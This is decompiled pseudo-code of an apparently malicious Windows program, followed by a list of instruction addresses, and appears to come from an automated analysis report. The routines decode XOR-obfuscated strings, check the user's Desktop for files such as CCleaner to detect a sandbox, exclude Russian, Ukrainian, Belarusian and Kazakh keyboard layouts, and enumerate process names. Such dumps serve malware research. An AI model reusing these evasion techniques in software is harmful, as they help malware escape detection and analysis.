				long _t310;
				intOrPtr _t311;
				int _t312;
				intOrPtr _t316;
				intOrPtr _t317;
				int _t318;
				int _t322;
				void* _t326;
				signed int _t327;
				void* _t333;
				int _t350;
				signed int _t355;
				void* _t361;
				int* _t363;
				signed int _t365;
				int _t366;
				void* _t367;
				void* _t369;
				intOrPtr* _t370;
				intOrPtr* _t373;
				signed char* _t377;
				intOrPtr* _t381;
				intOrPtr* _t385;
				int _t393;
				signed int _t399;
				int _t401;
				int _t404;
				signed int* _t405;
				signed int _t415;
				intOrPtr* _t416;
				signed int _t422;
				int _t426;
				void* _t427;
				long _t429;
				int* _t431;
				int* _t432;
				int* _t433;
				long _t434;
				void* _t435;
				void* _t439;
				signed char* _t440;
				void* _t441;
				int _t443;
				void* _t444;
				signed int _t445;
				void* _t446;
				signed int _t447;
				void* _t448;
				int* _t449;
				void* _t450;
				void* _t451;
				int _t452;
				signed char* _t453;
				void* _t454;
				void* _t455;
				void* _t456;
				int _t457;
				void* _t458;
				void* _t459;
				signed int _t460;
				void* _t462;
				void* _t463;
				int _t464;
				void* _t467;
				signed int _t470;
				signed int _t473;
				signed int _t475;
				signed int _t477;
				void* _t479;
				signed int _t482;
				void* _t483;
				int* _t484;
				int* _t485;
				int* _t486;
				int* _t487;
				int* _t488;
				int* _t489;
				signed int _t495;
				signed int _t496;
				void* _t499;
				signed int _t501;

				_t369 = __ecx;
				_push(__ebx);
				_t361 = _t479;
				_t482 = (_t479 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t361 + 4));
				_t470 = _t482;
				_push(0xffffffff);
				_push(0x42c8c5);
				_push( *[fs:0x0]);
				_push(_t361);
				_t483 = _t482 - 0x50;
				_t208 =  *0x43d054; // 0xd71f2cec
				_t209 = _t208 ^ _t470;
				_v32 = _t209;
				_push(_t451);
				_push(_t209);
				 *[fs:0x0] =  &_v24;
				_v48 = 0x7c6b7d7b;
				_v44 = 0x68617c7e;
				_v40 = 0x2e6b6267;
				_t443 =  *( *[fs:0x2c]);
				_t212 =  *0x450f28; // 0x8000000b
				if(_t212 >  *((intOrPtr*)(_t443 + 4))) {
					E0040F2F9(_t212, 0x450f28);
					_t483 = _t483 + 4;
					_t512 =  *0x450f28 - 0xffffffff;
					if( *0x450f28 == 0xffffffff) {
						asm("movq xmm0, [ebp-0x24]");
						asm("movq [0x450ec4], xmm0");
						 *0x450ecc = _v40;
						E0040F60B(_t369, _t512, 0x42d2e0);
						E0040F2AF(0x450f28);
						_t483 = _t483 + 8;
					}
				}
				if( *0x450ecf != 0) {
					_t355 = 0;
					do {
						 *(_t355 + 0x450ec4) =  *(_t355 + 0x450ec4) ^ 0x0000002e;
						_t355 = _t355 + 1;
					} while (_t355 < 0xc);
				}
				_t370 = 0x450ec4;
				_v108 = 0;
				_v92 = 0;
				_v88 = 0xf;
				_v108 = 0;
				_t16 = _t370 + 1; // 0x450ec5
				_t427 = _t16;
				do {
					_t213 =  *_t370;
					_t370 = _t370 + 1;
				} while (_t213 != 0);
				E004026B0(_t361,  &_v108, 0x450ec4, _t370 - _t427);
				_v16 = 0;
				_t216 =  >=  ? _v108 :  &_v108;
				_t217 = E00418F18(_t361, _t443, _t451,  >=  ? _v108 :  &_v108,  >=  ? _v108 :  &_v108);
				_t428 = _t217;
				_v76 = 0;
				_t373 = _t217;
				_v60 = 0;
				_t484 = _t483 + 4;
				_v56 = 0xf;
				_v76 = 0;
				_t26 = _t373 + 1; // 0x1
				_t452 = _t26;
				do {
					_t218 =  *_t373;
					_t373 = _t373 + 1;
				} while (_t218 != 0);
				E004026B0(_t361,  &_v76, _t428, _t373 - _t452);
				_v16 = 2;
				_t429 = _v88;
				if(_t429 < 0x10) {
					L14:
					_t376 = _v60;
					_v92 = 0;
					_v88 = 0xf;
					_v108 = 0;
					_push(8);
					_push("\\Desktop");
					if(_v56 - _t376 < 8) {
						_v84 = 0;
						_t376 =  &_v76;
						_push(_v84);
						_push(8);
						E00402980(_t361,  &_v76, _t443, _t452);
					} else {
						_t38 = _t376 + 8; // 0x8
						_t466 =  >=  ? _v76 :  &_v76;
						_t467 = ( >=  ? _v76 :  &_v76) + _t376;
						_v60 = _t38;
						_push(_t467);
						E00410870();
						_t484 =  &(_t484[3]);
						 *((char*)(_t467 + 8)) = 0;
					}
					_t223 =  *0x450f34; // 0x8000000c
					_v44 = 0x4b426d6d;
					_v40 = 0x5c4b404f;
					_v77 = 0x2e;
					if(_t223 >  *((intOrPtr*)(_t443 + 4))) {
						E0040F2F9(_t223, 0x450f34);
						_t484 =  &(_t484[1]);
						_t526 =  *0x450f34 - 0xffffffff;
						if( *0x450f34 == 0xffffffff) {
							asm("movq xmm0, [ebp-0x20]");
							asm("movq [0x450f6c], xmm0");
							 *0x450f74 = _v77;
							E0040F60B(_t376, _t526, 0x42d2c0);
							E0040F2AF(0x450f34);
							_t484 =  &(_t484[2]);
						}
					}
					_t224 =  *0x450f74; // 0x0
					if(_t224 != 0) {
						 *0x450f6c =  *0x450f6c ^ 0x0000002e;
						 *0x450f6d =  *0x450f6d ^ 0x0000002e;
						 *0x450f6e =  *0x450f6e ^ 0x0000002e;
						 *0x450f6f =  *0x450f6f ^ 0x0000002e;
						 *0x450f70 =  *0x450f70 ^ 0x0000002e;
						 *0x450f71 =  *0x450f71 ^ 0x0000002e;
						 *0x450f72 =  *0x450f72 ^ 0x0000002e;
						 *0x450f73 =  *0x450f73 ^ 0x0000002e;
						 *0x450f74 = _t224 ^ 0x0000002e;
					}
					_t485 = _t484 - 0x18;
					_t377 = 0x450f6c;
					_t431 = _t485;
					_t50 =  &(_t377[1]); // 0x450f6d
					_t453 = _t50;
					 *_t431 = 0;
					_t431[4] = 0;
					_t431[5] = 0xf;
					do {
						_t225 =  *_t377;
						_t377 =  &(_t377[1]);
					} while (_t225 != 0);
					E004026B0(_t361, _t431, 0x450f6c, _t377 - _t453);
					_t227 = E00404490(_t361,  &_v76, _t431); // executed
					_t486 =  &(_t485[6]);
					_v77 = 0x2e;
					_t228 =  *0x450fe0; // 0x8000000d
					_v78 = _t227 != 0;
					if(_t228 >  *((intOrPtr*)(_t443 + 4))) {
						E0040F2F9(_t228, 0x450fe0);
						_t486 =  &(_t486[1]);
						_t532 =  *0x450fe0 - 0xffffffff;
						if( *0x450fe0 == 0xffffffff) {
							asm("movaps xmm0, [0x439d80]");
							asm("movups [0x450eec], xmm0");
							 *0x450efc = _v77;
							E0040F60B( &_v76, _t532, 0x42d2a0);
							E0040F2AF(0x450fe0);
							_t486 =  &(_t486[2]);
						}
					}
					_t229 =  *0x450efc; // 0x0
					if(_t229 != 0) {
						asm("movups xmm0, [0x450eec]");
						asm("movaps xmm1, [0x439d30]");
						asm("pxor xmm1, xmm0");
						 *0x450efc = _t229 ^ 0x0000002e;
						asm("movups [0x450eec], xmm1");
					}
					_t487 = _t486 - 0x18;
					_t381 = 0x450eec;
					_t432 = _t487;
					_t58 = _t381 + 1; // 0x450eed
					_t454 = _t58;
					 *_t432 = 0;
					_t432[4] = 0;
					_t432[5] = 0xf;
					do {
						_t230 =  *_t381;
						_t381 = _t381 + 1;
					} while (_t230 != 0);
					E004026B0(_t361, _t432, 0x450eec, _t381 - _t454);
					_t232 = E00404490(_t361,  &_v76, _t432); // executed
					_t488 =  &(_t487[6]);
					_v36 = 0x2e6d;
					_t233 =  *0x450f38; // 0x8000000e
					_v77 = _t232 != 0;
					if(_t233 >  *((intOrPtr*)(_t443 + 4))) {
						E0040F2F9(_t233, 0x450f38);
						_t488 =  &(_t488[1]);
						_t537 =  *0x450f38 - 0xffffffff;
						if( *0x450f38 == 0xffffffff) {
							asm("movaps xmm0, [0x439da0]");
							asm("movups [0x450fb4], xmm0");
							 *0x450fc4 = _v36;
							E0040F60B( &_v76, _t537, 0x42d280);
							E0040F2AF(0x450f38);
							_t488 =  &(_t488[2]);
						}
					}
					if( *0x450fc5 != 0) {
						asm("movups xmm0, [0x450fb4]");
						_t333 = 0x10;
						asm("movaps xmm1, [0x439d30]");
						asm("pxor xmm1, xmm0");
						asm("movups [0x450fb4], xmm1");
						do {
							 *(_t333 + 0x450fb4) =  *(_t333 + 0x450fb4) ^ 0x0000002e;
							_t333 = _t333 + 1;
						} while (_t333 < 0x12);
					}
					_t489 = _t488 - 0x18;
					_t385 = 0x450fb4;
					_t433 = _t489;
					_t68 = _t385 + 1; // 0x450fb5
					_t455 = _t68;
					 *_t433 = 0;
					_t433[4] = 0;
					_t433[5] = 0xf;
					do {
						_t234 =  *_t385;
						_t385 = _t385 + 1;
					} while (_t234 != 0);
					E004026B0(_t361, _t433, 0x450fb4, _t385 - _t455);
					_t236 = E00404490(_t361,  &_v76, _t433); // executed
					_t484 =  &(_t489[6]);
					if(_t236 == 0 || _v78 == 0 || _v77 == 0) {
						_t452 = 0;
						__eflags = 0;
					} else {
						_t452 = 1;
					}
					_t434 = _v56;
					if(_t434 < 0x10) {
						L48:
						 *[fs:0x0] = _v24;
						_pop(_t444);
						_pop(_t456);
						return E0040EF6F(_t452, _t361, _v32 ^ _t470, _t434, _t444, _t456);
					} else {
						_t393 = _v76;
						_t434 = _t434 + 1;
						_t239 = _t393;
						if(_t434 < 0x1000) {
							L47:
							_push(_t434);
							E0040F1B0(_t393);
							goto L48;
						} else {
							_t393 =  *(_t393 - 4);
							_t434 = _t434 + 0x23;
							if(_t239 - _t393 + 0xfffffffc > 0x1f) {
								goto L50;
							} else {
								goto L47;
							}
						}
					}
				} else {
					_t426 = _v108;
					_t441 = _t429 + 1;
					_t350 = _t426;
					if(_t441 < 0x1000) {
						L13:
						_push(_t441);
						E0040F1B0(_t426);
						_t484 =  &(_t484[2]);
						goto L14;
					} else {
						_t393 =  *(_t426 - 4);
						_t434 = _t441 + 0x23;
						if(_t350 - _t393 + 0xfffffffc > 0x1f) {
							E004138D7(_t361, _t434, __eflags);
							L50:
							E004138D7(_t361, _t434, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t361);
							_t363 = _t484;
							_t495 = (_t484 - 0x00000008 & 0xfffffff8) + 4;
							_push(_t470);
							_v128 = _t363[1];
							_t473 = _t495;
							_push(0xffffffff);
							_push(0x42c922);
							_push( *[fs:0x0]);
							_push(_t363);
							_t496 = _t495 - 0x630;
							_t245 =  *0x43d054; // 0xd71f2cec
							_t246 = _t245 ^ _t473;
							_v152 = _t246;
							_push(_t452);
							_push(_t443);
							_push(_t246);
							 *[fs:0x0] =  &_v144;
							_t457 = _t393;
							_v1688 = _t457;
							_v1728 = _t457;
							asm("xorps xmm0, xmm0");
							_v1692 = 0;
							asm("movq [esi], xmm0");
							 *(_t457 + 8) = 0;
							 *_t457 = 0;
							 *(_t457 + 4) = 0;
							 *(_t457 + 8) = 0;
							_v136 = 0;
							_v1692 = 1;
							_t249 = GetKeyboardLayoutList(0x400,  &_v1684);
							_t445 = 0;
							_v1688 = _t249;
							__eflags = _t249;
							if(_t249 <= 0) {
								L63:
								 *[fs:0x0] = _v36;
								_pop(_t446);
								_pop(_t458);
								__eflags = _v44 ^ _t473;
								return E0040EF6F(_t457, _t363, _v44 ^ _t473, _t434, _t446, _t458);
							} else {
								do {
									_t252 =  *(_t473 + _t445 * 4 - 0x610) & 0x0000ffff;
									_v1588 = _t252;
									GetLocaleInfoA(_t252, 2,  &_v552, 0x1f4); // executed
									_t254 =  &_v552;
									_v1616 = 0;
									_v1600 = 0;
									_t435 = _t254 + 1;
									_v1596 = 0xf;
									_v1616 = 0;
									do {
										_t399 =  *_t254;
										_t254 = _t254 + 1;
										__eflags = _t399;
									} while (_t399 != 0);
									E004026B0(_t363,  &_v1616,  &_v552, _t254 - _t435);
									_t401 = _v1588;
									_v1592 = _t401;
									_v28 = 1;
									_t258 =  *(_t457 + 4);
									__eflags = _t258 -  *(_t457 + 8);
									if(_t258 ==  *(_t457 + 8)) {
										_push( &_v1616);
										_push(_t258);
										E0040CFF0(_t363, _t457, _t445, _t457);
										_t434 = _v1596;
									} else {
										asm("movups xmm0, [ebp-0x638]");
										_t434 = 0xf;
										_v1616 = 0;
										asm("movups [eax], xmm0");
										asm("movq xmm0, [ebp-0x628]");
										asm("movq [eax+0x10], xmm0");
										 *(_t258 + 0x18) = _t401;
										 *(_t457 + 4) =  *(_t457 + 4) + 0x1c;
									}
									_v28 = 0;
									__eflags = _t434 - 0x10;
									if(_t434 < 0x10) {
										goto L62;
									} else {
										_t404 = _v1616;
										_t434 = _t434 + 1;
										_t260 = _t404;
										__eflags = _t434 - 0x1000;
										if(_t434 < 0x1000) {
											L61:
											_push(_t434);
											E0040F1B0(_t404);
											_t496 = _t496 + 8;
											goto L62;
										} else {
											_t404 =  *(_t404 - 4);
											_t434 = _t434 + 0x23;
											__eflags = _t260 - _t404 + 0xfffffffc - 0x1f;
											if(__eflags > 0) {
												E004138D7(_t363, _t434, __eflags);
												asm("int3");
												_push(_t473);
												_t475 = _t496;
												_push(0xffffffff);
												_push(0x42c965);
												_push( *[fs:0x0]);
												_t499 = _t496 - 0x5c;
												_t266 =  *0x43d054; // 0xd71f2cec
												_t267 = _t266 ^ _t475;
												_v1760 = _t267;
												_push(_t363);
												_push(_t457);
												_push(_t445);
												_push(_t267);
												 *[fs:0x0] =  &_v1756;
												_t365 = 0;
												_t405 =  &_v1780;
												asm("xorps xmm0, xmm0");
												_v1816 = 0;
												asm("movq [ebp-0x24], xmm0");
												_v1772 = 0;
												L51(); // executed
												_v1748 = 0;
												_t269 = _v1776;
												_t447 = _v1780;
												_v1820 = _t269;
												__eflags = _t447 - _t269;
												if(_t447 == _t269) {
													L92:
													_t366 = 0;
													__eflags = 0;
													goto L93;
												} else {
													_v52 = 0x5d5d5b7c;
													_v48 = 0x2e404f47;
													_t464 =  *( *[fs:0x2c]);
													_v108 = _t464;
													do {
														E0040BF40(_t365,  &_v92, _t434, _t447, _t447);
														_v68 =  *((intOrPtr*)(_t447 + 0x18));
														_v32 = 1;
														_t302 =  *0x45104c;
														__eflags =  *0x45104c -  *((intOrPtr*)(_t464 + 4));
														if( *0x45104c >  *((intOrPtr*)(_t464 + 4))) {
															E0040F2F9(_t302, 0x45104c);
															_t499 = _t499 + 4;
															__eflags =  *0x45104c - 0xffffffff;
															if(__eflags == 0) {
																_t140 =  &_v52; // 0x5d5d5b7c
																 *0x450d40 =  *_t140;
																_t141 =  &_v48; // 0x2e404f47
																 *0x450d44 =  *_t141;
																E0040F60B( &_v92, __eflags, 0x42d300);
																E0040F2AF(0x45104c);
																_t499 = _t499 + 8;
															}
														}
														_t303 =  *0x450d47; // 0x0
														__eflags = _t303;
														if(_t303 != 0) {
															 *0x450d40 =  *0x450d40 ^ 0x0000002e;
															 *0x450d41 =  *0x450d41 ^ 0x0000002e;
															 *0x450d42 =  *0x450d42 ^ 0x0000002e;
															 *0x450d43 =  *0x450d43 ^ 0x0000002e;
															 *0x450d44 =  *0x450d44 ^ 0x0000002e;
															 *0x450d45 =  *0x450d45 ^ 0x0000002e;
															 *0x450d46 =  *0x450d46 ^ 0x0000002e;
															_t327 = _t303 ^ 0x0000002e;
															__eflags = _t327;
															 *0x450d47 = _t327;
														}
														_t304 = 0x450d40;
														_v132 = 0;
														_v116 = 0;
														_v112 = 0xf;
														_t145 =  &(_t304[1]); // 0x450d41
														_t440 = _t145;
														do {
															_t422 =  *_t304;
															_t304 =  &(_t304[1]);
															__eflags = _t422;
														} while (_t422 != 0);
														E004026B0(_t365,  &_v132, 0x450d40, _t304 - _t440);
														_t457 = _v92;
														_t434 = _v76;
														__eflags = _v112 - 0x10;
														_v100 = _t365 | 0x00000001;
														_t366 = _v132;
														_t308 =  >=  ? _t366 :  &_v132;
														__eflags = _v72 - 0x10;
														_t405 =  >=  ? _t457 :  &_v92;
														_t309 = E00402890(_t405, _t434, _t405,  >=  ? _t366 :  &_v132, _v116);
														_t499 = _t499 + 0xc;
														__eflags = _t309 - 0xffffffff;
														if(_t309 != 0xffffffff) {
															L76:
															_v93 = 1;
														} else {
															__eflags = _v72 - 0x10;
															_t434 = _v76;
															_t405 =  >=  ? _t457 :  &_v92;
															_t326 = E00402890(_t405, _t434, _t405, 0x439a6c, 7);
															_t499 = _t499 + 0xc;
															_v93 = 0;
															__eflags = _t326 - 0xffffffff;
															if(_t326 != 0xffffffff) {
																goto L76;
															}
														}
														_v100 = _v100 & 0xfffffffe;
														_t310 = _v112;
														__eflags = _t310 - 0x10;
														if(_t310 < 0x10) {
															L81:
															__eflags = _v93;
															if(_v93 != 0) {
																L97:
																_t311 = _v72;
																__eflags = _t311 - 0x10;
																if(_t311 < 0x10) {
																	L101:
																	_t447 = _v64;
																	_t366 = 1;
																	L93:
																	__eflags = _t447;
																	if(_t447 == 0) {
																		L103:
																		 *[fs:0x0] = _v40;
																		_pop(_t448);
																		_pop(_t459);
																		_pop(_t367);
																		__eflags = _v44 ^ _t475;
																		return E0040EF6F(_t366, _t367, _v44 ^ _t475, _t434, _t448, _t459);
																	} else {
																		_push(_t405);
																		E0040D730(_t447, _v60, _t447, _t457);
																		_t460 = _v64;
																		_t501 = _t499 + 4;
																		_t434 = (0x92492493 * (_v56 - _t460) >> 0x20) + _v56 - _t460 >> 4;
																		_t278 = _t460;
																		_t415 = ((_t434 >> 0x1f) + _t434) * 8 - (_t434 >> 0x1f) + _t434 << 2;
																		__eflags = _t415 - 0x1000;
																		if(_t415 < 0x1000) {
																			L102:
																			_push(_t415);
																			E0040F1B0(_t460);
																			goto L103;
																		} else {
																			_t460 =  *((intOrPtr*)(_t460 - 4));
																			_t415 = _t415 + 0x23;
																			__eflags = _t278 - _t460 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				E004138D7(_t366, _t434, __eflags);
																				goto L105;
																			} else {
																				goto L102;
																			}
																		}
																	}
																} else {
																	_t187 = _t311 + 1; // 0x11
																	_t405 = _t187;
																	_t312 = _t457;
																	__eflags = _t405 - 0x1000;
																	if(_t405 < 0x1000) {
																		L100:
																		_push(_t405);
																		E0040F1B0(_t457);
																		_t499 = _t499 + 8;
																		goto L101;
																	} else {
																		_t460 =  *((intOrPtr*)(_t457 - 4));
																		_t415 = _t405 + 0x23;
																		__eflags = _t312 - _t460 + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L105;
																		} else {
																			goto L100;
																		}
																	}
																}
															} else {
																_t316 = _v68;
																__eflags = _t316 - 0x419;
																if(_t316 == 0x419) {
																	goto L97;
																} else {
																	__eflags = _t316 - 0x422;
																	if(_t316 == 0x422) {
																		goto L97;
																	} else {
																		__eflags = _t316 - 0x423;
																		if(_t316 == 0x423) {
																			goto L97;
																		} else {
																			__eflags = _t316 - 0x43f;
																			if(_t316 == 0x43f) {
																				goto L97;
																			} else {
																				_v32 = 0;
																				_t317 = _v72;
																				__eflags = _t317 - 0x10;
																				if(_t317 < 0x10) {
																					goto L90;
																				} else {
																					_t171 = _t317 + 1; // 0x11
																					_t405 = _t171;
																					_t318 = _t457;
																					__eflags = _t405 - 0x1000;
																					if(_t405 < 0x1000) {
																						L89:
																						_push(_t405);
																						E0040F1B0(_t457);
																						_t499 = _t499 + 8;
																						goto L90;
																					} else {
																						_t460 =  *((intOrPtr*)(_t457 - 4));
																						_t415 = _t405 + 0x23;
																						__eflags = _t318 - _t460 + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L105;
																						} else {
																							goto L89;
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														} else {
															_t164 = _t310 + 1; // 0x11
															_t405 = _t164;
															_t322 = _t366;
															__eflags = _t405 - 0x1000;
															if(_t405 < 0x1000) {
																L80:
																_push(_t405);
																E0040F1B0(_t366);
																_t457 = _v92;
																_t499 = _t499 + 8;
																goto L81;
															} else {
																_t366 =  *(_t366 - 4);
																_t415 = _t405 + 0x23;
																__eflags = _t322 - _t366 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	L105:
																	E004138D7(_t366, _t434, __eflags);
																	asm("int3");
																	asm("int3");
																	_push(_t475);
																	_t477 = _t501;
																	_t284 =  *0x43d054; // 0xd71f2cec
																	_v1872 = _t284 ^ _t477;
																	_push(_t460);
																	_push(_t447);
																	_t449 = _t415;
																	_v2140 = _t449;
																	_v2140 = _t449;
																	_t286 =  *0x439a7c; // 0x3e
																	asm("movq xmm0, [0x439a74]");
																	_v2124 = _t286;
																	asm("movq [ebp-0x108], xmm0");
																	E00410EB0(_t449,  &_v2122, 0, 0xfa);
																	_t462 = OpenProcess(0x410, 0, _t434);
																	__eflags = _t462;
																	if(_t462 != 0) {
																		_t297 =  &_v304;
																		__imp__K32EnumProcessModules(_t462, _t297, 4,  &_v300); // executed
																		__eflags = _t297;
																		if(_t297 != 0) {
																			__imp__K32GetModuleBaseNameA(_t462, _v304,  &_v296, 0x104); // executed
																		}
																	}
																	FindCloseChangeNotification(_t462); // executed
																	_t416 =  &_v296;
																	 *_t449 = 0;
																	_t449[4] = 0;
																	_t439 = _t416 + 1;
																	_t449[5] = 0xf;
																	 *_t449 = 0;
																	do {
																		_t291 =  *_t416;
																		_t416 = _t416 + 1;
																		__eflags = _t291;
																	} while (_t291 != 0);
																	E004026B0(_t366, _t449,  &_v296, _t416 - _t439);
																	_pop(_t450);
																	__eflags = _v36 ^ _t477;
																	_pop(_t463);
																	return E0040EF6F(_t449, _t366, _v36 ^ _t477, _t439, _t450, _t463);
																} else {
																	goto L80;
																}
															}
														}
														goto L112;
														L90:
														_t365 = _v100;
														_t447 = _t447 + 0x1c;
														_t464 = _v108;
														__eflags = _t447 - _v104;
													} while (_t447 != _v104);
													_t447 = _v64;
													goto L92;
												}
											} else {
												goto L61;
											}
										}
									}
									goto L112;
									L62:
									_t445 = _t445 + 1;
									__eflags = _t445 - _v1580;
								} while (_t445 < _v1580);
								goto L63;
							}
						} else {
							goto L13;
						}
					}
				}
				L112:
			}

0x00404840
0x00404840
0x00404841
0x00404849
0x00404850
0x00404854
0x00404856
0x00404858
0x00404863
0x00404864
0x00404865
0x00404868
0x0040486d
0x0040486f
0x00404872
0x00404874
0x00404878
0x00404884
0x0040488b
0x00404892
0x00404899
0x0040489b
0x004048a6
0x004048ad
0x004048b2
0x004048b5
0x004048bc
0x004048be
0x004048cb
0x004048d3
0x004048d8
0x004048e5
0x004048ea
0x004048ea
0x004048bc
0x004048f4
0x004048f6
0x00404900
0x00404900
0x00404907
0x00404908
0x00404900
0x0040490d
0x00404912
0x00404919
0x00404920
0x00404927
0x0040492b
0x0040492b
0x00404930
0x00404930
0x00404932
0x00404933
0x00404942
0x00404947
0x00404955
0x0040495a
0x0040495f
0x00404961
0x00404968
0x0040496a
0x00404971
0x00404974
0x0040497b
0x0040497f
0x0040497f
0x00404982
0x00404982
0x00404984
0x00404985
0x00404990
0x00404995
0x00404999
0x0040499f
0x004049cd
0x004049d2
0x004049d7
0x004049de
0x004049e5
0x004049e9
0x004049eb
0x004049f3
0x00404a16
0x00404a1a
0x00404a1d
0x00404a20
0x00404a22
0x004049f5
0x004049fb
0x004049fe
0x00404a02
0x00404a04
0x00404a07
0x00404a08
0x00404a0d
0x00404a10
0x00404a10
0x00404a27
0x00404a2c
0x00404a33
0x00404a3a
0x00404a44
0x00404a4b
0x00404a50
0x00404a53
0x00404a5a
0x00404a5c
0x00404a69
0x00404a71
0x00404a76
0x00404a83
0x00404a88
0x00404a88
0x00404a5a
0x00404a8b
0x00404a92
0x00404a94
0x00404a9b
0x00404aa2
0x00404aa9
0x00404ab0
0x00404ab7
0x00404abe
0x00404ac5
0x00404ace
0x00404ace
0x00404ad3
0x00404ad6
0x00404adb
0x00404add
0x00404add
0x00404ae0
0x00404ae6
0x00404aed
0x00404af4
0x00404af4
0x00404af6
0x00404af7
0x00404b05
0x00404b0d
0x00404b12
0x00404b15
0x00404b1b
0x00404b20
0x00404b2a
0x00404b31
0x00404b36
0x00404b39
0x00404b40
0x00404b42
0x00404b51
0x00404b58
0x00404b5d
0x00404b6a
0x00404b6f
0x00404b6f
0x00404b40
0x00404b72
0x00404b79
0x00404b7b
0x00404b84
0x00404b8b
0x00404b8f
0x00404b94
0x00404b94
0x00404b9b
0x00404b9e
0x00404ba3
0x00404ba5
0x00404ba5
0x00404ba8
0x00404bae
0x00404bb5
0x00404bc0
0x00404bc0
0x00404bc2
0x00404bc3
0x00404bd1
0x00404bd9
0x00404bde
0x00404be1
0x00404be9
0x00404bee
0x00404bf8
0x00404bff
0x00404c04
0x00404c07
0x00404c0e
0x00404c10
0x00404c20
0x00404c27
0x00404c2d
0x00404c3a
0x00404c3f
0x00404c3f
0x00404c0e
0x00404c49
0x00404c4b
0x00404c52
0x00404c57
0x00404c5e
0x00404c62
0x00404c70
0x00404c70
0x00404c77
0x00404c78
0x00404c70
0x00404c7d
0x00404c80
0x00404c85
0x00404c87
0x00404c87
0x00404c8a
0x00404c90
0x00404c97
0x00404ca0
0x00404ca0
0x00404ca2
0x00404ca3
0x00404cb1
0x00404cb9
0x00404cbe
0x00404cc3
0x00404cd8
0x00404cd8
0x00404cd1
0x00404cd1
0x00404cd1
0x00404cda
0x00404ce0
0x00404d0a
0x00404d0f
0x00404d17
0x00404d18
0x00404d29
0x00404ce2
0x00404ce2
0x00404ce5
0x00404ce6
0x00404cee
0x00404d00
0x00404d00
0x00404d02
0x00000000
0x00404cf0
0x00404cf0
0x00404cf3
0x00404cfe
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cfe
0x00404cee
0x004049a1
0x004049a1
0x004049a4
0x004049a5
0x004049ad
0x004049c3
0x004049c3
0x004049c5
0x004049ca
0x00000000
0x004049af
0x004049af
0x004049b2
0x004049bd
0x00404d2a
0x00404d2f
0x00404d2f
0x00404d34
0x00404d35
0x00404d36
0x00404d37
0x00404d38
0x00404d39
0x00404d3a
0x00404d3b
0x00404d3c
0x00404d3d
0x00404d3e
0x00404d3f
0x00404d40
0x00404d41
0x00404d49
0x00404d4c
0x00404d50
0x00404d54
0x00404d56
0x00404d58
0x00404d63
0x00404d64
0x00404d65
0x00404d6b
0x00404d70
0x00404d72
0x00404d75
0x00404d76
0x00404d77
0x00404d7b
0x00404d81
0x00404d83
0x00404d89
0x00404d8f
0x00404d92
0x00404d9c
0x00404da0
0x00404da7
0x00404dad
0x00404db4
0x00404dc1
0x00404dce
0x00404dd8
0x00404dde
0x00404de0
0x00404de6
0x00404de8
0x00404efa
0x00404eff
0x00404f07
0x00404f08
0x00404f0c
0x00404f19
0x00404df0
0x00404df0
0x00404df0
0x00404e07
0x00404e0d
0x00404e13
0x00404e19
0x00404e23
0x00404e2d
0x00404e30
0x00404e3a
0x00404e41
0x00404e41
0x00404e43
0x00404e44
0x00404e44
0x00404e58
0x00404e5d
0x00404e63
0x00404e69
0x00404e70
0x00404e73
0x00404e76
0x00404eaa
0x00404eab
0x00404eae
0x00404eb3
0x00404e78
0x00404e78
0x00404e7f
0x00404e84
0x00404e8b
0x00404e8e
0x00404e96
0x00404e9b
0x00404e9e
0x00404e9e
0x00404eb9
0x00404ebd
0x00404ec0
0x00000000
0x00404ec2
0x00404ec2
0x00404ec8
0x00404ec9
0x00404ecb
0x00404ed1
0x00404ee3
0x00404ee3
0x00404ee5
0x00404eea
0x00000000
0x00404ed3
0x00404ed3
0x00404ed6
0x00404ede
0x00404ee1
0x00404f1a
0x00404f1f
0x00404f20
0x00404f21
0x00404f23
0x00404f25
0x00404f30
0x00404f31
0x00404f34
0x00404f39
0x00404f3b
0x00404f3e
0x00404f3f
0x00404f40
0x00404f41
0x00404f45
0x00404f4b
0x00404f4d
0x00404f50
0x00404f53
0x00404f56
0x00404f5b
0x00404f5e
0x00404f63
0x00404f66
0x00404f69
0x00404f6c
0x00404f6f
0x00404f71
0x00405185
0x00405185
0x00405185
0x00000000
0x00404f77
0x00404f7d
0x00404f84
0x00404f8b
0x00404f8d
0x00404f90
0x00404f94
0x00404f9c
0x00404f9f
0x00404fa3
0x00404fa8
0x00404fae
0x00404fb5
0x00404fba
0x00404fbd
0x00404fc4
0x00404fc6
0x00404fc9
0x00404fce
0x00404fd6
0x00404fdb
0x00404fe8
0x00404fed
0x00404fed
0x00404fc4
0x00404ff0
0x00404ff5
0x00404ff7
0x00404ff9
0x00405000
0x00405007
0x0040500e
0x00405015
0x0040501c
0x00405023
0x0040502a
0x0040502a
0x0040502c
0x0040502c
0x00405031
0x00405036
0x0040503d
0x00405044
0x0040504b
0x0040504b
0x00405050
0x00405050
0x00405052
0x00405053
0x00405053
0x00405062
0x0040506a
0x00405070
0x00405079
0x0040507d
0x00405080
0x00405083
0x00405086
0x0040508b
0x0040508f
0x00405094
0x00405097
0x0040509a
0x004050c2
0x004050c2
0x0040509c
0x0040509c
0x004050a3
0x004050a8
0x004050b1
0x004050b6
0x004050b9
0x004050bd
0x004050c0
0x00000000
0x00000000
0x004050c0
0x004050c6
0x004050ca
0x004050cd
0x004050d0
0x00405100
0x00405100
0x00405104
0x004051e0
0x004051e0
0x004051e3
0x004051e6
0x0040520f
0x0040520f
0x00405212
0x00405187
0x00405187
0x00405189
0x00405226
0x0040522b
0x00405233
0x00405234
0x00405235
0x00405239
0x00405243
0x0040518f
0x00405192
0x00405195
0x004051a2
0x004051a5
0x004051ae
0x004051c1
0x004051c3
0x004051c6
0x004051cc
0x0040521c
0x0040521c
0x0040521e
0x00000000
0x004051ce
0x004051ce
0x004051d1
0x004051d9
0x004051dc
0x00405244
0x00000000
0x004051de
0x00000000
0x004051de
0x004051dc
0x004051cc
0x004051e8
0x004051e8
0x004051e8
0x004051eb
0x004051ed
0x004051f3
0x00405205
0x00405205
0x00405207
0x0040520c
0x00000000
